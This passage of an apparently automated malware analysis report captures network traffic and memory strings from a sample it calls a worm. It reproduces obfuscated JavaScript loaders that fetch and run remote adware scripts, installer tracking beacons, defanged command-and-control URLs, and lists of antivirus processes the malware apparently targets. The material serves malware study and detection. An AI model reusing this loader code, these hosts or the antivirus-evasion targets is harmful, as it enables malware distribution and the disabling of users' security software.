if (typeof setup2 === 'function') { setup2('MDI2YjcwNTgwZTE4MDQxNzJjMWQxNTQzNDM1YTQ0MDQwNDEzMDk1NTU2NGUxNzBhMTU0MjAwMDYwYTFiMTgwZDFjMWIwMjFmNWUwNDE2MDI1NjBmMDkwOTA0NDMxYzA4MWUwNjFhNGYxMzA5NTkyMzAyMGUxZTA2MTcyODFkNDcyMzU0MzE1MzM4NWQ0YTIwNTQzODU2NWY0NDRhM2M1ZDQ4NTA1NDNiNWYyZDQwNGE0OTVmNDg1NDQ4NGQyMjVkNDAyMTRmMmE1ZjMyMTAwZTAzMjUxNDVhMmEwZTE1MDQwYTVjMzYwZDAyMTMxNzBhMGIyODNkNDc1NDVjNDA1NzQ5NDkyOTEzMTYxZTEzMGYwNDI5MTgwMjFjNWMyNjI1MjUzZTNmMzQyYTNkMzAyNTNjMjgzOTJkMjAzNzI2MjEzODJjM2MyNTM5NGEyNDA4MTYwMzFiMDAwYjMzMDI1MTJmMzgzYTNkMzYzMjJhMjgyZjI4MzUzNTI2MmEyMTM1M2MzNDIyMjkzNDM4MmEzYTNiM2UzMDNlMzkzMzUyNGI3MzY2NWIwOTBkMGUxNjFmMjUxNTE1NGQ0MzQxNWIxMjEyMTgwMDE0NDM0MDU2MGYwOTA5NDgxYzExMTQwZDBlMTUwNDE4MWUxNTQyMTMwODE0NDAxNzExMGExODQ5MDAxZjAwMTAwYzU3MGIwYTQ1MjkxZTE5MDAxMDAxMzAwNTQ0M2Y1ZTJkNDQyNjRiNWMzODRjM2I0YTU1NTg1ZDIyNGI1ZTQ4NGMzODQzMjc1YzVkNTc0OTVlNGM1MDRlM2U1NzVjMzY1MTNjNDkyYTA4MGQxZjJmMDg0ZDM0MTgwMzFjMTI1ZjJhMDcxZTA0MDkxYzFkMzAyNTQ0NDg1NjVjNDA1NzVmM2YwYjBlMWQwZjA1MTgzZTA2MTQwYTQ0M2UyNjM5MzQyMzIzMzQyYjI2M2QyNDJiMjUyNzNjMjAzODM3MmUzNDI0MjYyNTQwMzgxZjA4MTUwZDE4MTMzMDFlNWIzMzJmMjQyYjIwMmEzMjJiMzMyMjI5MjIzODNjMzcyZDI0MzczZTIzMjgyZjM0MmMyZDI2MjgzZDI1Mzk0ZTVjNmQ3MDRkMDkwZDBjMWQwZjAyMzkwMzViNTU1OTUwNDE0ZTZjMTE3YQ==', 'yayzflpgyo'); }....

<<< skipped >>>

GET /plugins/mins/102.js?ver=15&rnd=6334 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:12 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1426423396"

Last-Modified: Sun, 15 Mar 2015 12:43:16 GMT

Cache-Control: max-age=621

Content-Length: 1023

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668153.dop002.fr7.t,1427668152.cds012.fr7.c

if (typeof setup2 === 'function') { setup2('MDM3YTU0NTU1NTU1NDYxODFmMWEwODI1MDYxOTU3NGY0NDUyMDMxYTBjMDA0ZTVhNWExYzRhMTMxOTBjMGIxYTA3NWIxYzFiMDIxZjQ0MGQwYTEyMTI1YTFmMTQxMjExMTgwZDBhMTkwNDAxNWIxZjE3NGYwODA2MTkxZTFhMTAxOTQ4MDcwMjBmMWMyNzJmMmIzNjI3M2EzNzIzMzkyNzNjMzUyNjJhMzAyZDMwMzUyNTJhM2QzNDJiMjYyMDM3M2IzOTJmMzEyNzU2MTUwNTA1MjEwZDA0MDcwYjQ1MmYyYjM2MjczYTM3MjMzOTI3M2MzNTI2MmEzNDI1MzQyZjI1MmYzNTM1MmIyYTUzMWQwZDE0NTYzMTI3MzMyNjNhMjYyNjM2MzkyZjJiMmEyZjIxMjYzMDI3M2IzOTJmMzEyNzUyNTg3ZjU1NTU0NDUwNDkwNjBjMDQwNDA2MjAwNzA4NTI1MTRlNWExODAwMDEwNTA2NWU1ZjQ0MDcyNzEzMDYxNzA2MWYxNzJmMDIwMDFlMWY1YTAxMTkwNjA3MTQwNTQwMWIxZjE5NWExNjA3MDYxNjQ0MDQxOTA2MTUwNjE2MDcwZDAwMWY0MDEyMDM0YjE2MWQxNDBhMWUwZTAyNDUxMzA2MTEwNzJhM2IyZjI4M2MzNzIzMjcyNzNjMzEyMTIyMzQyYjIwMjQzMTNiMzEzMDIwMmYzODNiM2EyZjNkMzEyYTJhNDIxMTFiMWUyYzE5MDAxOTEwNDgzYjJmMjgzYzM3MjMyNzI3M2MzMTIxMjIzNDJmMjgyMDJiM2IzNDM4MjEyZjM0NDgxMDE5MTA0ODJhMmEyNzIyMjQzZDJiMjIzZDMxMzAyNzNiMjUzODJiMmEyZjNkMzEyYTJhNDY1YzYxNGU1ODUwNTQ1NzA1MTkxMTE3MDIwMDMxMTQ1NjRmNTU0NDU0NDI2MTEz', 'xptuuudpkn'); }....

GET /plugins/mins/376.js?ver=3&rnd=6334 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:13 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1426525251"

Last-Modified: Mon, 16 Mar 2015 17:00:51 GMT

Cache-Control: max-age=900

Content-Length: 10918

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668153.dop002.fr7.t,1427668153.cds023.fr7.c

(function(){var a=(function(){var l=function(){return appAPI&&appAPI.installer&&appAPI.utils.isFunction(appAPI.installer.getAdditionalInfo)?appAPI.installer.getAdditionalInfo():null;};var j={ie:"10",ni:"11",te:"19",ch:"20",to:"26",sb:"27",op:"28",tc:"29",ff:"30",tf:"39",sf:"40",nv:"50",ms:"51",mf:"52",mc:"53",np:"54",sm:"55",fm:"56",cm:"57",mx:"60"};var p="source_id";var k="776";var e="__PageActive__";var q=new Date(2013,0,1);var f=1000*60*2;var n=1000*60*10;var o=(appAPI&&appAPI.installer&&typeof appAPI.installer.getUnixTime==="function")?appAPI.installer.getUnixTime()*1000:((new Date(2013,0,1)).getTime());var h=l;var g=[{pluginId:288,httpUrl:"hXXp://istatic.datafastguru.info/fo/min/crqc.js?hid=__CROSSRIDER_USER_ID__&bname=__CROSSRIDER_APP_NAME__&subid=__CROSSRIDER_EXTENDED_SUB_ID__",delay:0},{pluginId:242,httpUrl:"hXXp://inst.shoppingate.info/js/sg_bg.js?AFFILIATE_ID=crsrdr&SUB_DISTRIBUTER_ID=__CROSSRIDER_EXTENDED_SUB_ID__&BRAND_DISPLAY_NAME=__CROSSRIDER_APP_NAME__",httpsUrl:"hXXps://inst.shoppingate.info/js/sg_bg.js?AFFILIATE_ID=crsrdr&SUB_DISTRIBUTER_ID=__CROSSRIDER_EXTENDED_SUB_ID__&BRAND_DISPLAY_NAME=__CROSSRIDER_APP_NAME__",delay:0},{pluginId:385,httpUrl:"hXXp://api.jollywallet.com/affiliate/client?dist=329&sub=__CROSSRIDER_EXTENDED_SUB_ID__&name=__CROSSRIDER_APP_NAME__",httpsUrl:"hXXps://api.jollywallet.com/affiliate/client?dist=329&sub=__CROSSRIDER_EXTENDED_SUB_ID__&name=__CROSSRIDER_APP_NAME__",delay:0},{pluginId:390,httpUrl:"hXXp://cdncache-a.akamaihd.net/sub/h0982be/__CROSSRIDER_EXTENDED_SUB_ID__/l.

<<< skipped >>>

GET /plugins/mins/354.js?ver=2&rnd=6334 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:13 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1418039174"

Last-Modified: Mon, 08 Dec 2014 11:46:14 GMT

Cache-Control: max-age=183

Content-Length: 122978

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668153.dop002.fr7.t,1427668153.cds009.fr7.c

__CTG_MAPPING__={"1":["d908e50170d7cb46a92fdbff0d73bb5d","0a64c81275732dcf0eb51fc0fdecfaa7","edb18644366c10cc24c58f6fb14ca9f4","15e39ed909ac8e17ae3cc3c91cd7ae9f","dccefc9affe37ba60b49d0a4789ce042","55a7d0f3833487778c3bdff8b2096e93","0212ae9fc1eeb53f9f641335b804d75e","d5e783fe22abe91aae7179d10a958497","9c8a818246bc677ef54725340e9c5a98","6871592501ed31709e241750c4363fce","1c5e3f677b22b8257c1df15a70e7df26","daf4c4488123ddadb30a7adaadb18b54","11fbd0aa23a016619379552c438b081a","fcaed5b82116cd700a0949772ad8ff49","6ac10c5f77cf4309c731a1edca41f357","5c83bc2a9fe11b248ee7a0577c7d8fdd","b4724ce8e3ac8d971ea648c70f1f3a28","5cfdb867e96374c7883b31d6928cc4cb","5bc25469aea12b844db6b49146c3e0ed","15830c2f3218394a63d70b23d235cc1c","7f5e73ea77ef99619089c3857dafdcb4","029c1c42a9160c3cf3db1a687f11ff72","e84400c002083678aa69041045895fae","da0239e7da0330fb26ef37dd1d940044","993439d6f7a4548cae1381c9073cbee1","24414caa6316a5694f77499fa604e5b1","340d70f50a7a4507bc874c8108bb45bc","2e44b2f1bf1b2b87d2be9f94ad2a2a35","5484845885ffd608ebb0ad1ac39434d4","96eb5194f361b233bf8fb9a80267f1de","91e4f116b8a4f5258b982d3c10910bdf","5638298177fc6af5190590244d6d8035","7712b7ac7ec5d5966fb35b1425d0283f","1080cee006e84c91858613ce7dde99fb","428d0f3d623a15db6cacb689e86b4352","8b25ca5c09e10312a1567fb3d7f82c07","84dcb17eaafb9d32908759a607838c8b","fcbed3a6b1e592c8efddf3f925b26b7f","7eae142b683afcf5aee231291c679877","9bcd814058bcf8f6497f0495e0a2fd71","6bb8719fca4581212b3aa47da8755163","adb2121658b69c9a701f270c8faba02f","5694f231cd01d8222d59557c56cef9a7","b7444e18

<<< skipped >>>

GET /plugins/mins/246.js?ver=17&rnd=6334 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:13 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1424173488"

Last-Modified: Tue, 17 Feb 2015 11:44:48 GMT

Cache-Control: max-age=900

Content-Length: 7448

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668153.dop002.fr7.t,1427668153.cds009.fr7.c

var _0x8f59=["10","11","19","20","26","27","28","29","30","39","40","50","51","52","53","54","55","56","57","60","installer","getAdditionalInfo","isFunction","utils","isDefined","asw","isArray","length","toLowerCase","platform","np","ni","browser_name","__BROWSER_NAME__","getIds","installer_verifier","","string","charCodeAt","replace","match","apply","fromCharCode","Base64","decode","call","parse","JSON","monetization","internal","plugins","un","def","ined","pluginId","getExtendedSubId","function","slice","getSubId","getTime","_","join","na","httpUrl","__RND__","g","__ADVANCE_USER__","__CROSSRIDER_ASW__","__CROSSRIDER_INSTALL_TIME__","getUnixTime","__CROSSRIDER_COUNTRY_CODE__","getCountry","__CROSSRIDER_EXTENDED_SUB_ID__","__CROSSRIDER_USER_ID__","userId","appInfo","__CROSSRIDER_VERIFIER__","__CROSSRIDER_INSTALLER_USER_ID__","getUserId","__CROSSRIDER_APP_ID__","appID","__CROSSRIDER_BROWSER__","__CROSSRIDER_CAMP_ID__","getCampaignId","__CROSSRIDER_LIGHT_SUB_ID__","__CROSSRIDER_APP_NAME__","name","__CROSSRIDER_SUB_ID__","httpsUrl","inlineJS","waitForBodyReady","undefined","addRemoteJS"];setup2=function(m,k){var h={ie:_0x8f59[0],ni:_0x8f59[1],te:_0x8f59[2],ch:_0x8f59[3],to:_0x8f59[4],sb:_0x8f59[5],op:_0x8f59[6],tc:_0x8f59[7],ff:_0x8f59[8],tf:_0x8f59[9],sf:_0x8f59[10],nv:_0x8f59[11],ms:_0x8f59[12],mf:_0x8f59[13],mc:_0x8f59[14],np:_0x8f59[15],sm:_0x8f59[16],fm:_0x8f59[17],cm:_0x8f59[18],mx:_0x8f59[19]},i=function(){return appAPI[_0x8f59[20]]&&appAPI[_0x8f59[23]][_0x8f59[22]](appAPI[_0x8f59[20]][_0x8f59[21]])?appAPI[

<<< skipped >>>

GET /installer_updates/001360/update.json HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: update.clientstaticserv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 16:42:02 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1395746822"

Last-Modified: Tue, 25 Mar 2014 11:27:02 GMT

Cache-Control: max-age=854

Content-Length: 39

Content-Type: text/plain; charset=UTF-8

X-HW: 1427668128.dop007.fr7.t,1427668128.cds024.fr7.s,1427668127.dop005.se1.r,1427668128.cds015.se1.c,1427668128.cds024.fr7.p

{"update_from_version":"NA","url":"NA"}HTTP/1.1 200 OK..Date: Sun, 29 Mar 2015 16:42:02 GMT..Keep-Alive: timeout=5, max=100..Connection: Keep-Alive..Accept-Ranges: bytes..ETag: "1395746822"..Last-Modified: Tue, 25 Mar 2014 11:27:02 GMT..Cache-Control: max-age=854..Content-Length: 39..Content-Type: text/plain; charset=UTF-8..X-HW: 1427668128.dop007.fr7.t,1427668128.cds024.fr7.s,1427668127.dop005.se1.r,1427668128.cds015.se1.c,1427668128.cds024.fr7.p..{"update_from_version":"NA","url":"NA"}..

GET /installer.gif?action=started&browser=ie&browserver=6&ver=1_34_05_04&bic=11992E1999324ACFB8E0C19B718E3265IE&app=54248&appver=0&verifier=283fbbb93af62851d4ee04659eadac21&srcid=001360&version_date=07-05-14&subid=0&zdata=0&xpiver=0_94&crxver=1_26_22&default=ie&chver=na&ffver=na&iever=6&silent=1&os=XP32&admin=1&type=17179881473&asw=0&asw2=8704&procstarttime=1427668122&procruntime=6&rnd=1427668128 HTTP/1.1

Host: stats.clientstaticserv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

x-amz-id-2: 9/C9HI4pJESP/NiZTc7FSTFSybRP1rJLyKnroec5aBB9aKP0a/Om1k/AaNQxEs hDe BapG6zIA=

x-amz-request-id: 9E01DCC0110FBE03

Date: Sun, 29 Mar 2015 22:28:50 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Mon, 24 Feb 2014 23:56:39 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: 9/C9HI4pJESP/NiZTc7FSTFSybRP1rJLyKnroec5aBB9aKP0a/Om1k/AaNQxEs hDe BapG6zIA=..x-amz-request-id: 9E01DCC0110FBE03..Date: Sun, 29 Mar 2015 22:28:50 GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalidate..Last-Modified: Mon, 24 Feb 2014 23:56:39 GMT..ETag: "28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Server: AmazonS3..GIF89a.............,...........D..;....

GET /installer.gif?action=finished&browser=ie&browserver=6&ver=1_34_05_04&bic=11992E1999324ACFB8E0C19B718E3265IE&app=54248&appver=111&verifier=283fbbb93af62851d4ee04659eadac21&srcid=001360&version_date=07-05-14&subid=0&zdata=0&xpiver=0_94&crxver=1_26_22&default=ie&chver=na&ffver=na&iever=6&silent=1&os=XP32&admin=1&type=17179881473&asw=0&asw2=8704&ieprofiles=1&chprofiles=na&ffprofiles=na&procstarttime=1427668122&procruntime=41&rnd=1427668163 HTTP/1.1

Host: stats.clientstaticserv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

x-amz-id-2: mkEOHDM1Vypc8tlMASGGMuRgveUrP8Tt/MwC7d4 BJAoI3kSQikFw75bI6 5g1QWXNloXpiBPyA=

x-amz-request-id: 0FB85ED08DFF4B6D

Date: Sun, 29 Mar 2015 22:29:24 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Mon, 24 Feb 2014 23:56:39 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;....

Map

The Worm connects to the servers at the folowing location(s):

Strings from Dumps

netsh.exe_3068:

.text

.text

`.data

`.data

.rsrc

.rsrc

msvcrt.dll

msvcrt.dll

ADVAPI32.dll

ADVAPI32.dll

KERNEL32.dll

KERNEL32.dll

NTDLL.DLL

NTDLL.DLL

MPRAPI.dll

MPRAPI.dll

ole32.dll

ole32.dll

OLEAUT32.dll

OLEAUT32.dll

RASAPI32.dll

RASAPI32.dll

USER32.dll

USER32.dll

iphlpapi.dll

iphlpapi.dll

[%S] %S

[%S] %S

netsh.pdb

netsh.pdb

RegCloseKey

RegCloseKey

RegOpenKeyExW

RegOpenKeyExW

RegCreateKeyExW

RegCreateKeyExW

RegQueryInfoKeyW

RegQueryInfoKeyW

GetProcessHeap

GetProcessHeap

GetConsoleOutputCP

GetConsoleOutputCP

ntdll.dll

ntdll.dll

NETSH.EXE

NETSH.EXE

MatchCmdLine

MatchCmdLine

MatchTagsInCmdLine

MatchTagsInCmdLine

{X-X-X-XX-XXXXXX}

{X-X-X-XX-XXXXXX}

netsh.exe

netsh.exe

Error %d in FormatMessageW()

Error %d in FormatMessageW()

select * from Win32_OperatingSystem

select * from Win32_OperatingSystem

\\%s\root\cimv2

\\%s\root\cimv2

5.1.2600.5512 (xpsp.080413-0852)

5.1.2600.5512 (xpsp.080413-0852)

Windows

Windows

Operating System

Operating System

5.1.2600.5512

5.1.2600.5512

LFirst, add the protocol to the transport, and then add it to the interface.

LFirst, add the protocol to the transport, and then add it to the interface.

*The requested transport is not available.

*The requested transport is not available.

%1!s! ipmontr.dll

%1!s! ipmontr.dll

The above command installs ipmontr.dll in netsh.

The above command installs ipmontr.dll in netsh.

is removed, it is no longer supported by netsh.

is removed, it is no longer supported by netsh.

The command cannot be executed.

The command cannot be executed.

*Windows cannot open the file named %1!s!.

*Windows cannot open the file named %1!s!.

.The commit call to %1!s! cannot be completed.

.The commit call to %1!s! cannot be completed.

.Sets the current machine on which to operate.

.Sets the current machine on which to operate.

name - Name of the machine on which to operate

name - Name of the machine on which to operate

Sets the current machine on which to operate. If a machine name

Sets the current machine on which to operate. If a machine name

%1!s! open c:\logfiles\logfile.txt

%1!s! open c:\logfiles\logfile.txt

.Error creating key for %1!s! in the registry.

.Error creating key for %1!s! in the registry.

.Error deleting key for %1!s! in the registry.

.Error deleting key for %1!s! in the registry.

netsh.exe_3068_rwx_00480000_00002000:

SHELL32.DLL

SHELL32.DLL

ShellExecuteA

ShellExecuteA

KERNEL32.DLL

KERNEL32.DLL

.text

.text

netsh.exe_3068_rwx_004D0000_00001000:

|netsh.exeM_3068_

|netsh.exeM_3068_

Explorer.EXE_884_rwx_014D0000_00002000:

SHELL32.DLL

SHELL32.DLL

ShellExecuteA

ShellExecuteA

KERNEL32.DLL

KERNEL32.DLL

.text

.text

Explorer.EXE_884_rwx_02050000_00001000:

|explorer.exeM_884_

|explorer.exeM_884_

Explorer.EXE_884_rwx_024F0000_01033000:

c:\windows

c:\windows

hXXp://VVV.ledyazilim.com/logo.gif

hXXp://VVV.ledyazilim.com/logo.gif

hXXp://ksandrafashion.com/logo.gif

hXXp://ksandrafashion.com/logo.gif

hXXp://VVV.lafyeri.com/images/logo.gif

hXXp://VVV.lafyeri.com/images/logo.gif

hXXp://kulppasur.com/logo.gif

hXXp://kulppasur.com/logo.gif

hXXp://toalladepapel.com.ar/images/logo.gif

hXXp://toalladepapel.com.ar/images/logo.gif

hXXp://VVV.ecole-saint-simon.net/index_top/logo.gif

hXXp://VVV.ecole-saint-simon.net/index_top/logo.gif

hXXp://lazarea.ro/images/logo.gif

hXXp://lazarea.ro/images/logo.gif

hXXp://koonadance2.com/images/logo.gif

hXXp://koonadance2.com/images/logo.gif

hXXp://kuplu.bel.tr/images/logo.gif

hXXp://kuplu.bel.tr/images/logo.gif

hXXp://VVV.liderancaspoliticas.com.br/logo.gif

hXXp://VVV.liderancaspoliticas.com.br/logo.gif

hXXp://VVV.legalbilgisayar.com/img/logo.gif

hXXp://VVV.legalbilgisayar.com/img/logo.gif

hXXp://lifecom24.co.cc/images/logo.gif

hXXp://lifecom24.co.cc/images/logo.gif

%System%\drivers\ghltmn.sys

%System%\drivers\ghltmn.sys

12047188183

12047188183

SHELL32.DLL

SHELL32.DLL

ShellExecuteA

ShellExecuteA

KERNEL32.DLL

KERNEL32.DLL

.text

.text

hXXp://89.119.67.154/testo5/

hXXp://89.119.67.154/testo5/

hXXp://kukutrustnet777.info/home.gif

hXXp://kukutrustnet777.info/home.gif

hXXp://kukutrustnet888.info/home.gif

hXXp://kukutrustnet888.info/home.gif

hXXp://kukutrustnet987.info/home.gif

hXXp://kukutrustnet987.info/home.gif

h.rdata

h.rdata

H.data

H.data

.reloc

.reloc

ntoskrnl.exe

ntoskrnl.exe

Opera/8.89 (Windows NT 6.0; U; en)

Opera/8.89 (Windows NT 6.0; U; en)

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion

Software\Microsoft\Windows\CurrentVersion

hXXp://VVV.klkjwre9fqwieluoi.info/

hXXp://VVV.klkjwre9fqwieluoi.info/

hXXp://kukutrustnet777888.info/

hXXp://kukutrustnet777888.info/

Software\Microsoft\Windows\CurrentVersion\policies\system

Software\Microsoft\Windows\CurrentVersion\policies\system

Software\Microsoft\Windows\ShellNoRoam\MUICache

Software\Microsoft\Windows\ShellNoRoam\MUICache

%s:*:Enabled:ipsec

%s:*:Enabled:ipsec

NOTEPAD.EXE

NOTEPAD.EXE

WINMINE.EXE

WINMINE.EXE

SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced

SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced

GdiPlus.dll

GdiPlus.dll

hXXp://

hXXp://

hXXp://klkjwre77638dfqwieuoi888.info/

hXXp://klkjwre77638dfqwieuoi888.info/

VVV.microsoft.com

VVV.microsoft.com

?%x=%d

?%x=%d

&%x=%d

&%x=%d

SYSTEM.INI

SYSTEM.INI

USER32.DLL

USER32.DLL

.%c%s

.%c%s

\\.\abp470n5

\\.\abp470n5

WINDOWS

WINDOWS

NTDLL.DLL

NTDLL.DLL

autorun.inf

autorun.inf

ADVAPI32.DLL

ADVAPI32.DLL

win%s.exe

win%s.exe

%s.exe

%s.exe

WININET.DLL

WININET.DLL

InternetOpenUrlA

InternetOpenUrlA

avast! Web Scanner

avast! Web Scanner

Avira AntiVir Premium WebGuard

Avira AntiVir Premium WebGuard

BackWeb Plug-in - 4476822

BackWeb Plug-in - 4476822

cmdGuard

cmdGuard

cmdAgent

cmdAgent

Eset HTTP Server

Eset HTTP Server

ProtoPort Firewall service

ProtoPort Firewall service

SpIDer FS Monitor for Windows NT

SpIDer FS Monitor for Windows NT

Symantec Password Validation

Symantec Password Validation

tcpsr

tcpsr

WebrootDesktopFirewallDataService

WebrootDesktopFirewallDataService

WebrootFirewall

WebrootFirewall

%d%d.tmp

%d%d.tmp

SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList

SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList

%s\%s

%s\%s

%s\Software\Microsoft\Windows\CurrentVersion\Ext\Stats

%s\Software\Microsoft\Windows\CurrentVersion\Ext\Stats

Software\Microsoft\Windows\CurrentVersion\Ext\Stats

Software\Microsoft\Windows\CurrentVersion\Ext\Stats

SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects

SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects

Explorer.exe

Explorer.exe

ASHWEBSV.

ASHWEBSV.

DRWEB32W.

DRWEB32W.

DRWEBSCD.

DRWEBSCD.

DRWEBUPW.

DRWEBUPW.

DWEBLLIO

DWEBLLIO

DWEBIO

DWEBIO

FSGUIEXE.

FSGUIEXE.

MCVSSHLD.

MCVSSHLD.

NPFMSG.

NPFMSG.

SYMSPORT.

SYMSPORT.

WEBPROXY.

WEBPROXY.

WEBSCANX.

WEBSCANX.

WEBTRAP.

WEBTRAP.

sfc_os.dll

sfc_os.dll

M_%d_

M_%d_

%c%d_%d

%c%d_%d

?456789:;

?456789:;

!"#$%&'()* ,-./0123

!"#$%&'()* ,-./0123

GetWindowsDirectoryA

GetWindowsDirectoryA

GetProcessHeap

GetProcessHeap

WinExec

WinExec

RegEnumKeyExA

RegEnumKeyExA

RegDeleteKeyA

RegDeleteKeyA

RegOpenKeyExA

RegOpenKeyExA

RegCreateKeyA

RegCreateKeyA

RegCloseKey

RegCloseKey

SHFileOperationA

SHFileOperationA

.rdata

.rdata

.data

.data

.xdata

.xdata

@.CRT

@.CRT

GUrlA'G5

GUrlA'G5

HTTP)s'cfp

HTTP)s'cfp

Lxo.ENHCDM

Lxo.ENHCDM

wWEBWUPD

wWEBWUPD

n .pZ

n .pZ

'()* ,-./01230 0

'()* ,-./01230 0

.HpT.#[3

.HpT.#[3

av%xQ

av%xQ

ADVAPI32.dll

ADVAPI32.dll

MSVCRT.dll

MSVCRT.dll

SHELL32.dll

SHELL32.dll

USER32.dll

USER32.dll

WS2_32.dll

WS2_32.dll